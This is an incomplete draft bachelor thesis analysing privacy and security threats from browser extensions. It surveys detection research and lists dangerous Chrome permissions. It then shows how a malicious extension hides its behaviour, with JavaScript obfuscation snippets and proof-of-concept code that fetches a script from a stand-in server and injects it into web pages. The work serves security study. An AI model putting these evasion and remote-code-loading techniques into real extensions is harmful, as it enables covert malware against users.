

Privacy Threat Analysis Of Browser Extensions

Analyse der Privatsphäre von Browser-Erweiterungen

Bachelor-Thesis von Arno Manfred Krause

Tag der Einreichung:

1. Gutachten: Referee 1
2. Gutachten: Referee 2



TECHNISCHE
UNIVERSITÄT
DARMSTADT

Computer Science
cased

Privacy Threat Analysis Of Browser Extensions
Analyse der Privatsphäre von Browser-Erweiterungen

Vorgelegte Bachelor-Thesis von Arno Manfred Krause

1. Gutachten: Referee 1
2. Gutachten: Referee 2

Tag der Einreichung:

Contents

1	Introduction	2
1.1	Motivation	3
1.2	Goals	3
1.3	Approach	3
2	Related Works	4
2.1	Threat Analysis And Counter Measurement	5
2.2	Analysis Of Possible Extension Attacks	6
2.3	Extension Evaluation	6
2.4	Information Flow Control In JavaScript	7
3	Background	9
3.1	Terminology	10
3.1.1	Browser	10
3.1.2	Browser Extension	10
3.1.3	Web Application	10
3.1.4	Web Page	10
3.2	Extension Architecture	10
3.2.1	General Structure	10
3.2.2	Differences Between The Browsers	10
4	Analysis And Design	11
4.1	Permission Analysis	12
4.1.1	Privacy Preservation	12
4.1.2	Dangerous Permissions	12
4.2	Attack Analysis	14
4.2.1	Hide Malicious Behavior	14
4.2.2	Tracking	19
4.2.3	Communication	22
4.2.4	Attack Vectors	23
4.3	Implementations	25
4.3.1	Identifier Storage	27
4.3.2	Web Beacon	28
4.3.3	Keylogger	29
4.3.4	Fingerprinting	29
4.4	Extension Analysis	29

1 Introduction

1.1 Motivation

1.2 Goals

1.3 Approach

2 Related Works

2.1 Threat Analysis And Counter Measurement

The extension architectures of Chrome extensions and Firefox add-ons were the target of several scientific researches and analysis [4, 6, 11, 19, 28, 25]. To counter found security flaws, the researcher proposed different approaches that range from proposals to remove certain functions to complete new extension models.

Barth et al. analyzed Firefox's Add-on model and found several exploits which may be used by attackers to gain access to the user's computer [4]. In their work, they focus on unintentional exploits in extensions which occur because extension developer are often hobby developers and not security experts. Firefox runs its extensions with the user's full privileges including to read and write local files and launch new processes. This gives an attacker who has compromised an extension the possibility to install further malware on the user's computer. Barth et al. proposed a new model for extensions to decrease the attack surface in the case that an extension is compromised. For that purpose, they proposed a privilege separation and divided their model in three separated processes. *Content scripts* have full access to the web pages DOM, but no further access to browser intern functions because they are exposed to potentially attacks from web pages. The browser API is only available to the extension's *background* which runs in another process as the content scripts. Both can exchange messages over a string-based channel. The core has no direct access to the user's machine. It can exchange messages with optionally *native binaries* which have full access to the host.

To further limit the attack surface of extensions, they provided an additional separation between content scripts and the underlying web page called *isolated world*. The web page and each content script runs in its own process and has its own JavaScript object that mirrors the DOM. If a script changes a DOM property, all objects are updated accordingly. On the other hand, if a non-standard DOM property is changed, it is not reflected onto the other objects. This implementation makes it more difficult to compromise a content script by changing the behavior of one of its functions.

For the case, that an attacker was able to compromise the extension's core and gains access to the browser's API, Barth et al. proposed a permission system with the principle of least privileges to reduce the amount of available API functions at runtime. Each extension has by default no access to functions which are provided by the browser. It has to explicit declare corresponding permissions to these functions on installation. Therefore, the attacker can only use API functions which the developer has declared for his extension.

Google adapted the extension model from Barth et al. for their Chrome browser in 2009. Therefore, it is also the basis for the extension model which we analyzed in this paper.

Nicholas Carlini et al. evaluated the three security principles of Chrome's extension architecture: *isolated world*, *privilege separation* and *permissions* [6]. They reviewed 100 extensions and found 40 containing vulnerabilities of which 31 could have been avoided if the developer would have followed simple security best practices such as using HTTPS instead of HTTP and the DOM function `innerText` that does not allow inline scripts to execute instead of `innerHTML`. Evaluating the isolated world mechanism, they found only three extensions with vulnerabilities in content scripts; two due to the use of `eval`. Isolated world effectively shields content scripts from malicious web pages, if the developer does not implement explicit cross site scripting attack vectors. Privilege separation should protect the extension's background from compromised content scripts but is rarely needed because content scripts are already effectively protected. They discovered that network attacks are a bigger threat to the extension's background than attacks from a web page. An attacker can compromise an extension by modifying a remote loaded script that was fetched over an HTTP request. The permission system acts as security mechanism in the case that the extension's background is compromised. Their review showed that developers of vulnerable extensions still used permissions in a way that reduced the scope of their vulnerability. To increase the security of Chrome extensions, Carlini et al. proposed to ban the loading of remote scripts over HTTP and inline scripts inside the extension's background. They did not propose to ban the use of `eval` in light of the facts that `eval` itself was mostly not the reason for a vulnerability and banning it would break several extensions.

Mike Ter Louw et al. evaluated Firefox's Add-on model with the main goal to ensure the integrity of an extension's code [28]. They implemented an extension to show that it is possible to manipulate the browser beyond the features that Firefox provides to its extensions. They used this to hide their extension completely by removing it from the list of installed extensions and injecting it into an presumably benign extension. Furthermore, their extension collects any user input and data and sends it to an remote server. The integrity of an extension's code can be harmed because Firefox signs the integrity on the extension's installation but does not validate it when loading the extension. Therefore, an malicious extension can undetected integrate code into an installed extension. To remove this vulnerability Louw et al. proposed user signed extensions. On installation the user has to explicit allow the extension which is then signed with a hash certificate. The extension's integrity will be tested against the certificate when it is loaded. To protect the extension's integrity at runtime they added policies on a per extension base such as to disable the access to Firefox's native technologies.

An approach similar to the policies introduced by Louw et al. was developed by Kaan Onarlioglu et al. [25]. They developed a policy enforcer for Firefox Add-ons called *Sentinel*. Their approach adds a runtime monitoring to Firefox Add-ons for accessing the browser's native functionality and acts accordingly to a local policy database. Additional policies can be added by the user which enables a fine grained tuning and to adapt to personal needs. The disadvantage is that the user needs to have knowledge about extension development to use this feature. They implemented the monitoring by modifying the JavaScript modules in the Add-on SDK that interact with the native technologies.

In our work, we contribute an analysis of Chrome's extension architecture with the focus on what attacks we can execute with a malicious extension. Therefore, we analyze the permission model of Chrome extensions and show how we can misuse the corresponding API modules. We also give an overview over Chrome's extension, and Firefox's add-on architecture and list commonalities and differences.

2.2 Analysis Of Possible Extension Attacks

Lei Liu et al. evaluated the security of Chrome's extension architecture against intentional malicious extensions [19]. They developed a malicious extension which can execute password sniffing, email spamming, DDoS, and phishing attacks to demonstrate potential security risks. Their extension works with minimal permissions such as access to the tab system and access to all web pages with `http://*/*` and `https://*/*`. To demonstrate that those permissions are used in real world extensions, they analyzed popular extensions and revealed that 19 out of 30 evaluated extensions did indeed use the `http://*/*` and `https://*/*` permissions. Furthermore, they analyzed thread models which exists due to default permissions such as full access to the DOM and the possibility to unrestrictedly communicate with the origin of the associated web page. These capabilities allow malicious extension to execute cross-site request forgery attacks and to transfer unwanted information to any host. To increase the privacy of a user, Liu et al. proposed a more fine grained permission architecture. They included the access to DOM elements in the permission system in combination with a rating system to determine elements which probably contain sensitive information such as password fields or can be used to execute web requests such as iframes or images.

A further research about malicious Chrome extensions demonstrates a large list of possible attacks to harm the user's privacy [5]. Lujo Bauer et al. implemented several attacks such as stealing sensitive information, executing forged web request, and tracking the user. All their attacks work with minimal permissions and often use the `http://*/*` and `https://*/*` permissions. They also exposed that an extension may hide it's malicious intend by not requiring suspicious permissions. To still execute attacks, the extension may communicate with another extension which has needed permissions.

2.3 Extension Evaluation

Hulk is an dynamic analysis and classification tool for chrome extensions [16]. It categorizes analyzed extensions based on discoveries of actions that may or do harm the user. An extension is labeled *malicious* if behavior was found that is harmful to the user. If potential risks are present or the user is exposed to new risks, but there is no certainty that these represent malicious actions, the extension is labeled *suspicious*. This occurs for example if the extension loads remote scripts where the content can change without any relevant changes in the extension. The script needs to be analyzed every time it is loaded to verify that it is not malicious. This task can not be accomplished by an analysis tool. Lastly an extension without any trace of suspicious behavior is labeled as *benign*. Alexandros Kapravelos et al. used *Hulk* in their research to analyze a total of 48,322 extensions where they labeled 130 (0.2%) as malicious and 4,712 (9.7%) as suspicious.

Static preparations are performed before the dynamic analysis takes action. URLs are collected that may trigger the extension's behavior. As sources serve the extension's code base, especially the manifest file with its host permissions and URL pattern for content scripts, and popular sites such as Facebook or Twitter. This task has its limitation. *Hulk* has no account creation on the fly and can therefore not access account restricted web pages.

The dynamic part consists of the analysis of API calls, in- and outgoing web requests and injected content scripts. Some calls to Chrome's extension API are considered malicious such as uninstalling other extensions or preventing the user to uninstall the extension itself. This is often accomplished by preventing the user to open Chrome's extension tab. Web requests are analyzed for modifications such as removing security relevant headers or changing the target server. To analyze the interaction with or manipulation of a web page *Hulk* uses so called *honeypots*. Those are based on *honeypots*

which are special applications or server that appear to have weak security mechanisms to lure an attack that can then be analyzed. Honey pages consists of overridden DOM query functions that create elements on the fly. If a script queries for a DOM element the element will be created and any interaction will be monitored.

WebEval is an analysis tool to identify malicious chrome extensions [13]. Its main goal is to reduce the amount of human resources needed to verify that an extension is indeed malicious. Therefore it relies on an automatic analysis process whose results are valuated by a self learning algorithm. Ideally the system would run without human interaction. The research of Nav Jagpal *et al.* shows that the false positive and false negative rates decreases over time but new threads result in a sharp increase. They arrived at the conclusion that human experts must always be a part of their system. In three years of usage *WebEval* analyzed 99,818 extensions in total and identified 9,523 (9.4%) malicious extensions. Automatic detection identified 93.3% of malicious extensions which were already known and 73,7% of extensions flagged as malicious were confirmed by human experts.

In addition to their analysis pipeline they stored every revision of an extension that was distributed to the Google Chrome web store in the time of their research. A weakly rescan targets extensions that fetch remote resources that may become malicious. New extensions are compared to stored extensions to identifying near duplicated extensions and known malicious code pattern. *WebEval* also targets the identification of developer who distribute malicious extensions and fake accounts inside the Google Chrome web store. Therefore reputation scans of the developer, the account's email address and login position are included in the analysis process.

The extension's behavior is dynamically analyzed with generic and manual created behavioral suits. Behavioral suits replay recorded interactions with a web page to trigger the extension's logic. Generic behavioral suits include techniques developed by Kapravelos *et al.* for Hulk [16] such as *honeypages*. Manual behavioral suits test an extension's logic explicit against known threads such as to uninstall another extension or modify CSP headers. In addition, they rely on anti virus software to detect malicious code and domain black lists to identify the fetching of possible harmful resources. If new threads surface *WebEval* can be expanded to quickly respond. New behavioral suits and detection rules for the self learning algorithm can target explicit threads.

VEX is a static analysis tool for Firefox Add-ons [3]. Sruthi Bandhakavi *et al.* analyzed the work flow of Mozilla's developers who manually analyze new Firefox Add-ons by searching for possible harmful code pattern. They implemented *VEX* to extend and automatize the developer's search and minimize the amount of false-positive results. *VEX* statically analyses the flow of information in the source code and creates a graph system that represents all possible information flows. They created pattern for the graph system that detect possible cross site scripting attacks with *eval* or the DOM function *innerHTML* and Firefox specific attacks that exploit the improper use of *evalInSandbox* or wrapped JavaScript objects. More vulnerabilities can be covered by *VEX* by adding new flow pattern. *VEX* targets buggy Add-ons without harmful intent or code obfuscation.

Oystein Hallaraker *et al.* developed an auditing system for Firefox's JavaScript engine to detect malicious code pieces [11]. The system logs all interaction JavaScript and the browser's functionalities such as the DOM or or the browser's native code. The auditing output is compared to pattern to identify possible malicious behavior. Hallaraker *et al.* did not propose any mechanism to verify that detection results are indeed malicious. The implemented pattern can also match benign code. Their work targets JavaScripts embedded into web pages. Applying their system to extensions could be difficult, because extensions do more often call the browser's functionalities in a benign way due to an extension's nature.

2.4 Information Flow Control In JavaScript

Philipp Vogt *et al.* developed a system to secure the flow of sensitive data in JavaScript browsers and to prevent possible cross site scripting attacks [33]. They taint data on creation and follow its flow by tainting the result of every statement such as simple assignments, arithmetical calculations, or control structures. For this purpose they modified the browser's JavaScript engine and also had to modify the browser's DOM implementation to prevent tainting loss if data is temporarily stored inside the DOM tree. The dynamic analysis only covers executed code. Code branches that indirect depend on sensitive data can not be examined. They added a static analysis to taint every variable inside the scope of tainted data to examine indirect dependencies.

The system was designed to prevent possible cross site scripting attacks. If it recognizes the flow of sensitive data to an

cross origin it prompts the user to confirm or decline the transfer. An empirical study on 1,033,000 unique web pages triggered 88,589 (8.58%) alerts. But most alerts were caused by web statistics or user tracking services. This makes their system an efficient tool to control information flow to third parties. The system could be applied to extensions for the same purpose and as security mechanism to prevent data leaking in buggy extensions.

Sabre is a similar approach to the tainting system from Vogt et al. but focused on extensions [8, 33]. It monitors the flow of sensitive information in JavaScript base browser extensions and detects modifications. The developers modified a JavaScript interpreter to add security labels to JavaScript objects. Sabre tracks these labels and rises an alert if information labeled as sensitive is accessed in an unsafe way. Although their system is focused on extensions it needs access to the whole browser and all corresponding JavaScript applications to follow the flow of data. This slows down the browser. Their own performance tests showed an overhead factor between 1.6 and 2.36. A further disadvantage is that the user has to decide if an alert is justified. The developer added a white list for false positive alarms to compensate this disadvantage.

3 Background

3.1 Terminology

3.1.1 Browser

3.1.2 Browser Extension

3.1.3 Web Application

3.1.4 Web Page

Document Object Model (DOM)

Same Origin Policy (SOP)

Content Security Policy (CSP)

XMLHttpRequest (XHR)

3.2 Extension Architecture

3.2.1 General Structure

Background

Browser API

Content Scripts

3.2.2 Differences Between The Browsers

Chrome Extensions

- Privilege Separation
 - Least Privileges
 - Isolated World
-

Firefox Add-ons

Safari Extensions

4 Analysis And Design

4.1 Permission Analysis

4.1.1 Privacy Preservation

4.1.2 Dangerous Permissions

The following paragraphs show a subset of the browser's API modules which pose a potential threat. Each paragraph has the module's name as heading which is equal to the associated permission. If the permission results in a warning on the extensions installation, we added it to the paragraph.

background

If one or more extensions with the background permission are installed and active, the browser starts its execution with the user's login without being invoked and without opening a visible window. The browser will not terminate when the user closes its last window but keeps staying active in the background. This behavior is only implemented in Chrome and can be disabled generally in Chrome's settings.

A malicious extension with this permission can still execute attacks even when no browser window is open.

bookmarks

This module gives access to the browser bookmark system. The extension can create new bookmarks, edit existing ones, and remove them. It can also search for particular bookmarks based on parts of the bookmark's title, or URL and retrieve the recently added bookmarks.

The user's bookmarks give information about his preferences and used web pages. This may be used to identify the currently active user or to determinate potential web page targets for further attacks.

On installation, an extension with this permission shows the user the following warning:

Read and modify your bookmarks

contentSettings

The browser provides a set of *content settings* that control whether web pages can include and use features such as cookies, JavaScript, or plugins. This module allows an extension to overwrite these settings on a per-site basis instead of globally.

A malicious extension can disable settings which the user has explicitly set. This will probably decrease the user's security while browsing the web and support malicious web pages.

On installation, an extension with this permission shows the user the following warning:

Manipulate settings that specify whether websites can use features such as cookies, JavaScript, plugins, geolocation, microphone, camera etc.

cookies

This module give an extension read and write access to all currently stored cookies, even to *httpOnly* cookies that are normally not accessible by client-side JavaScript.

An attacker may use an extension to steal session and authentication data which are commonly stored in cookies. This allows him to act with the user's privileges on affected websites. Furthermore, an malicious extension may restore deleted tracking cookies and thereby support user tracking attempts from websites.

downloads

This module allows an extension to initiate and monitor downloads. Some of the module's functions are further restricted by additional permissions. To open a downloaded file, the extension needs the `downloads.open` permission and to enable or disable the browser's download shelf, the extension needs the permission `downloads.shelf`.

With the additional permission `downloads.open`, a malicious extension can download a harmful file and execute it. Another malicious approach is to exchange a benign downloaded file with a harmful one without the user noticing.

geolocation

The HTML5 geolocation API provides information about the user's geographical location to JavaScript. With the default browser settings, the user is prompted to confirm if a web page wants to access his location. If an extension uses the geolocation permission, it can use the API without prompting the user to confirm.

On installation, an extension with this permission shows the user the following warning:

Detect your physical location

management

This module provides information about currently installed extensions. Additionally, it allows to disable and uninstall extensions. To prevent abuse, the user is prompted to confirm if an extension wants to uninstall another extension.

An attacker may use the feature to disable another extension to silently disable security relevant extension such as *AdBlock*¹, *Avira Browser Safety*², or *Avast Online Security*³.

On installation, an extension with this permission shows the user the following warning:

Manage your apps, extensions, and themes

proxy

Allows an extension to add and remove proxy server to the browser's settings. If a proxy is set, all requests are transmitted over the proxy server.

This feature may be used by an attacker to send all web requests over a malicious server. For example, a server that logs all requests and therefore steal any use information that is transmitted unsecured.

On installation, an extension with this permission shows the user the following warning:

Read and modify all your data on all websites you visit

¹ AdBlock on the Chrome Web Store: <https://chrome.google.com/webstore/detail/adblock/ghghmmmpiobkflfepjocnamgkbbiglidom>

² Avira Browser Safety on the Chrome Web Store: <https://chrome.google.com/webstore/detail/avira-browser-safety/fliilndjeohchalpbbcdckjklbdgfkf>

³ Avast Online Security on the Chrome Web Store: <https://chrome.google.com/webstore/detail/avast-online-security/gomekmidlodglbbmalcneegieacbdmki>

system

The `system.cpu`, `system.memory`, and `system.storage` permissions provide technical information about the user's machine.

This information may be used to create a profile of the current user's machine and identify him on later occasions.

tabs

An extension can access the browser's tab system with the `tabs` module. This enables the extension to create, update, or close tabs. Furthermore, it provides the functionality to programmatically inject content scripts into web pages and to interact with a content script which is active in a particular tab. To inject a content script, the extension needs a proper host permission that matches the tab's current web page. The `tabs` permission does not restrict the access to the `tabs` module but only the access to the URL and title of a tab.

A malicious extension may prevent the user from uninstalling it by closing the browser's extensions tab as soon as the user opens it. The programmatically injection takes a content script either as a file in the extension's bundle or as a string of code. Therefore, a malicious extension may inject remotely loaded code into a web page as a content script that executes further attacks.

On installation, an extension with this permission shows the user the following warning:

Access your browsing activity

webRequest

This module gives an extension access to in- and outgoing web requests. The extension can redirect, or block requests and modify the request's header.

A malicious extension can use this module to remove security relevant headers such as the `X-Frame-Options` that states whether or not the web page can be loaded into an `iframe`, or a `CSP`. Furthermore, the extension can redirect requests from benign to malicious web pages.

This permission itself does not result in a warning when an extension that requires it is installed. But, to get access to the data of a web request the extension needs proper host permissions and these result in a warning. The often used host permissions `http://**/*`, `https://**/*`, and `<all_urls>` result in the following warning:

Read and modify your data on all websites you visit

4.2 Attack Analysis

4.2.1 Hide Malicious Behavior

Developer who publish malicious behavior in extensions want to hide their implementations from detection. There exists many approaches to detect malicious behavior not only in extensions but also in JavaScript applications in general [16, 13, 3, 8, 11, 17]. We can distinct those approaches between *static* and *dynamic* analysis.

Static analysis tools scans the extension's source code to find known malicious pattern using content matching. Some other approaches perform a static analysis of the flow of information in the extension. For instance, the static analysis tool VEX tracks information flows from external entry points to JavaScript evaluation methods to find possible Cross-Site-Scripting attack vectors [3]. But it's extensible implementation allows to also track the flow of sensitive information to external destinations and thereby detect the theft of these information.

JavaScript's event driven nature impedes static analysis. To make an assumption about what the extension will actually do at runtime is a very difficult task because there exists too many external factors that influent the extension's execution

such as user input or asynchronous web requests. We can not predict when exactly a registered event is triggered at runtime if we only consider the static source code.

In a dynamic analysis, the extension is executed and evaluated at runtime. This gives the opportunity to exactly log what methods the extension calls and at what point. The focus of dynamic analysis tools for extensions often lies on API calls for the background process and DOM methods for content scripts. An dynamic analysis tool such as Hulk classifies an extension based on the called methods which were classified beforehand. For instance, using the method

Again, the event driven nature of JavaScript complicates the analysis. A dynamic analysis tool has to trigger preferably all registered events and hence any potential malicious behavior, too. Therefore, the extension is executed in the scope of different web pages. Because it is not possible to execute the extension in the scope of every existing web page reviewer have to find web pages that with a high degree of probability trigger the extension. For that purpose, they often use for example the *Alexa* most popular websites list. A static analysis beforehand may reveal further web pages that trigger the extension by scanning for parts of URLs in the source code such as URL pattern for content scripts or host permission in a WebExtension's manifest.

A concrete web page alone is often not enough to trigger potential malicious behavior. The extension queries the web pages's DOM to find specific elements. To trigger these queries, dynamic analysis tools use so called *honeypages* [16, 13]. The developer have overridden the DOM query methods to create the queried element on-the-fly. Therefore, the extension will always find targeted elements and execute potential attacks. But this approach has also its disadvantages. A extension may use it to detect the dynamic analysis. It queries a random element which is very unlikely to exists in a real-life scenario. If it finds the element, it has a strong evidence that it is currently the target of a dynamic analysis and may switch to a non-suspicious behavior.

A developer that stores his malicious implementation plain in the extensions source code is likely to be detected. Even a reviewer that only performs a manual code analysis is able to detect the malicious implementation. Therefore, the developer will certainly use some technique to hide his implementation. In this section, we present several approaches to prevent malicious behavior from being exposed by an extension analysis.

Code Obfuscation

Code obfuscation describes the transformation of a program's source code into a form in which it takes more time to analyze it's capabilities and purpose than in it's original state but without changing the execution result. Strong obfuscation is not or only with great expense reversible.

It was originally developed to protect a developer's implementation from code plagiarism. Other developers should not be able to understand the concrete implementation of the program or algorithm. Nowadays, it is often used to hide malicious behavior from detection. Code obfuscation changes the code's structure and therefore prevents the detection of known code pattern. It also changes the application's binary representation which is often used by anti-virus software to identify known threats. A simple method of code obfuscation is to change the order of methods in the source code. This results in a different binary representation for each order but still gives the same result after execution.

Code obfuscation is used in programing languages without a strict syntax. JavaScript is suited for obfuscation due to it's very lax syntax. Many open source libraries and tools exist to obfuscate JavaScript [29, 12, 14]. Because JavaScript files are not compiled into machine code but directly executed in the browser, obfuscation takes place in the source code and often enlarges it. This fact is used by detection tools. For example, *WebEval* detects obfuscation by comparing the original source code to a prettified version [13]. If the original code was obfuscated, the difference of the line size between both versions is conspicuous larger.

Code obfuscation should not be confused with minification or encryption. Minification targets to decrease the size and hence the download time of JavaScript files. It is often implemented as a script which prints the original script. Although the minimized JavaScript code is not readable by the human eye, its execution returns the original source code. This fact renders minification useless as an obfuscation technique. Similar, encrypted code is unreadable not only to a human but also to the compiler. Consequently, encryption can not be used as an obfuscation technique because obfuscated code has

still to be executable.

There exists many techniques used for JavaScript obfuscation. The following list shows a subset of common techniques with a brief description and code examples. Detailed explanations are found in several research papers [10, 35, 17].

- **Random Noise** The JavaScript compiler ignores several sections of the source code such as comments, whitespaces, indenting, and linefeeds. Adding those in a random manner does not change the semantics of the source code but changes its binary representation and hampers content matching.

```
var/*foo*/add/*bar    foo*/
= //    3;
/* 1 2 3*/    function    (x
,    y //    return( x ); // foo
)    {    return/*bar*/(x+/*
y); /*    y    ;} // alert('1');
```
- **Reassign Functions** Reassigning function names seizes the assurance that a function with a known and standardized name is actually the expected function implementation. In our example, we reassign the `eval` function to the standardized `unescape` function on line 1. A simple static analysis that does not keep track of all variable and function assignments will not recognize the call to the `eval` function on line 2.

```
unescape = eval;
unescape('document.write("secret")');
```
- **Random Symbol Names** Replacing the names of variable, functions, and object elements with non-meaningful names hampers manual analysis and removes further information which facilitates the comprehension of the source code.

```
function jf21f(2jd2, k201) {
    return(2jd2 + k201);
}
var 2eh90 = jf21f(2,4);
```
- **String Splitting** Splitting strings in the source code in several parts hides code words and hampers content matching. The string parts are stored inside arrays and concatenated at run time. To add more confusion, the exact position of each part is often determined by arithmetic calculations. Our example prints the string *"Hello World"*.

```
var y = ['d', 'W', 'l', 'He', ' ', 'r', 'o'];
alert(y[3] + y[6-5+1] + y[2]
      + y[y.length - 1] + y[2*2]
      + y[y.length - 6] + y[6]
      + y[3+2] + y[1*2] + y[0]);
```
- **String Encoding** To hide strings even more, they are stored encoded. The hexadecimal representation (e.g.: `\x43`) is often used because the JavaScript compiler decodes them automatically at runtime. Other approaches use the method `Number.toString(radix)` which returns a string representation of the numeric value in the specified radix. This allows to encode single characters with numeric values. For example, if we use a radix of 36, we can encode all lowercase characters from `(10).toString(36)` returns "a" to `(35).toString(36)` returns "z".

```
var y = ['\x64', '\x57', '\x6c', '\x48\x65',
        '\x20', '\x72', '\x6f'];
alert(y[3] + y[6-5+1] + y[2]
      + y[y.length -1] + y[2*2]
      + y[y.length - 6] + y[6]
      + y[3+2] + y[1*2] + y[0]);

alert((15).toString(18)
      + (24).toString(26)
      + (24).toString(31));
```
- **Array Subscript Notation** Commonly, elements of objects in JavaScript are accessed with the dot notation `object.element` whereas `element` may also be a function. Using the array subscript notation `object['element']` allows us to call functions based on string values. This in combination with string encoding or string splitting gives us the opportunity, to hide the name of the called function. Our example calls the constructor of the `Array.sort()` function `new Function()` which is equal to `eval`.

```
[]['sort']['constructor']('alert(1)')();
```

- **Dead Code** Adding code sections which will never execute does not change the semantics or the execution time. A static analysis tool will not remove the dead code if it relies on opaque conditions which are never true but based on values from the original source code. The tool will analyze every possible execution path.

```
function add(x, y) {  
  if(x > 0 && y != 0 && x / y == 0) {  
    for(int i = 0; i < y; i++) {  
      x = i < x ? y + 2 : x - 3;  
    }  
  }  
  return(x + y);  
}
```

Code obfuscation only hampers static analysis. Content matching does not work properly in obfuscated code and approaches for static information flow such as VEX were implemented only for unobfuscated code [3]. Because obfuscation does not change the code's execution, dynamic analysis still detects malicious behavior in obfuscated JavaScript sources.

Remotely Loaded Scripts

Another possibility to hide a malicious code snippet is to load it from a remote server and execute it at runtime. The code is not present in the extension's installation and can therefore not be detected by a static analysis.

An extension has several possibilities to load a remote script. HTML pages which are bundled in the extension's installation can include `<script>` elements with a `src` attribute pointing to a remote server. If the extension is executed and the page is loaded, the browser automatically loads and executes the remote script. This mechanism is often used to include public scripts for example from Google Analytics.

A `WebExtension` needs to explicitly state that it wants to fetch remote scripts in its background page. The default Content Security Policy disables the loading of scripts per script element which have another origin than the extension's installation. We can relax the default CSP and enable the loading of remote scripts over HTTPS by adding a URL pattern for the desired origin.

Extensions are able to load resources with a `XMLHttpRequest`. If called from a content script, the `XMLHttpRequest` will be blocked by the Same Origin Policy if the target does not match the current web page's origin. However, the same restriction does not apply to the extension's background. If the `XMLHttpRequest` is executed from within the background process, any arbitrary host is allowed as target.

Again, `WebExtensions` undergo a further restriction. Only if a matching host permission is declared in the extension's manifest, the browser will allow the web request. The attacker has to declare a URL pattern which matches his remote server. To disguise the concrete URL of his remote server, the attacker may take use of the pattern `http://*/*` and `https://*/*`.

The JavaScript extract in Code Extract 1 shows how to fetch a remote script with an `XMLHttpRequest`. On the first line, we create a new `XMLHttpRequest` object. This is a standardized API and available to JavaScript in all current browsers [32]. The event handler on line 2 till 6 that listens to the `onreadystatechange` event, handles the response from our request. In our case, the response will be our remote loaded script. We have to check whether the `readyState` equals 4, which indicates that the operation is done and the response is loaded. The `open` method on line 7 defines the request type and the target URL and finally on line 8 we execute the request. The `send` method could take a message that would be sent as a parameter along the request. In our case, this is not necessary because we only want to fetch a resource.

Before we can execute a remote loaded script, we have to consider what the script's objectives are. Whether it should act in the extension's background or as a content script. If the first case applies, we can use the JavaScript method `eval` to execute the remote loaded text as a JavaScript application. The use of `eval` is frowned upon because it is a main source of XSS attacks if not used correctly [1]. On that account, the default CSP of a `WebExtension` disables the use of `eval` in its background process. We can relax the default policy and add the key `unsafe_eval` to lift the restriction.

If we want to execute the remote loaded script as a content script, we can programmatically inject it. A `WebExtension` can use the method `chrome.tabs.executeScript` to execute a given string as a content script in a currently open tab. To use this feature, the extension needs the `tabs` permission. This permission is also granted, if the extension uses the

```
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        handleScript(xhr.responseText);
    }
}
xhr.open('GET', 'https://localhost:3001/javascripts/simple.js');
xhr.send();
```

Code Extract 1: Load remote script with a XMLHttpRequest

activeTab permission but with the drawback that we can only inject the script if the user invokes the extension. A Firefox Add-on can inject the script in an open tab with the method `require("sdk/tabs").activeTab.attach`. But other than WebExtensions, it can also register a content script with a URL pattern at runtime using the `sdk/page-mod` module.

If we want to execute a remote loaded script only in the scope of a web page, we can take use of the DOM API. It allows us to add a new script element to the current web page. If we set the source attribute of the script element to the URL of our remote server, the browser will fetch and execute the script for us. As a proof of concept, we implemented a WebExtension that executes the content script shown in Code Extract 2 in any web page without the need for further permissions. The content script creates a new script element, sets the element's src attribute to the URL of our remote server and appends it to the web page's body. The remote loaded script is immediately executed.

```
var script = document.createElement('script');
script.setAttribute('src', 'https://localhost:3001/javascripts/simple.js');
document.body.appendChild(script);
```

Code Extract 2: Content Script that executes a remote loaded script

A dynamic analysis will detect remote loaded scripts. It analyzes the extension at runtime, hence while the remote loaded scripts are present. Some approaches can also be detected by a static analysis. For example script elements that fetch a remote script at execution are easily to detect and contain the full URL.

Mutual Extension Communication

An extension is able to communicate with another extension. This opens the possibility of a permission escalation as previously described by Bauer et al. [5]. The extension which executes the attack does not need the permissions to fetch the malicious script. Another extension can execute this task and then send the remote script to the executing extension. This allows to give both extensions less permissions and thus making them less suspicious especially for automatic analysis tools. To detect the combined malicious behavior, an analysis tool has to execute both extensions simultaneously. This is a very unconventional approach, because an analysis often targets only a single extension at a time.

A communication channel that does not need any special interface can be established over any web page's DOM. All extensions with an active content script in the same web page have access to the same DOM. The extensions which want to communicate with each other can agree upon a specific DOM element and set it's text to exchange messages. Another way to exchange messages is to use the DOM method `window.postMessage`. This method dispatches a message event on the web pages window object. Any script with access to the web page's window object can register to be notified if the event was dispatched and then read the message.

The code shown in Code Extract 3 and Code Extract 4 is an example how to use this method. In Code Extract 3 we add an event listener to the window object that listens to the message event. The event handler method awaits the key `from` to be present in the event's data object and the value of `from` to equal `extension`. We use this condition to identify messages which were dispatched by an extension. Further, the handler awaits that the message from the other extension is stored

with the message key. In Code Extract 4 we create our message object with the key-value pairs 'from': 'extension' and 'message': 'secret' and call the *postMessage* method with our message object as first parameter. The second parameter defines what the origin of the window object must be in order for the event to be dispatched. In our case, the web page and all content scripts share the same window object. Therefore, a domain check is unnecessary and we use a wildcard to match any domain.

```
window.addEventListener('message', function(event) {  
    if(event.data.from && event.data.from === 'extension') {  
        handle(event.data.message);  
    }  
});
```

Code Extract 3: Event handler for the *postMessage* method

```
var message = {  
    'from' : 'extension',  
    'message': 'secret'  
}  
window.postMessage(message, '*');
```

Code Extract 4: Call of the *postMessage* method

4.2.2 Tracking

If we are able to identify the current user, we can exchange a otherwise benign script with a malicious one or add malicious behavior to an existing script.

We have previously described the advantage of identifying the current user. If it was successful, we can exchange an otherwise benign script with a malicious one. This allows us to bypass dynamic analysis tools such as Hulk or WebEval and target specific users [16, 13]. In this section, we will describe methods to identify the current user and how an extension can execute or even support these methods.

User Tracking

User tracking refers to the linking of multiple web pages that were visited by the same user, thus allowing to follow the path a user has taken from website to website. User tracking is known to harm the user's privacy and to counter attempts to stay anonymous when browsing in the Internet. But there are also benign reasons for user tracking, for instance improving the usability of a website based on collected information.

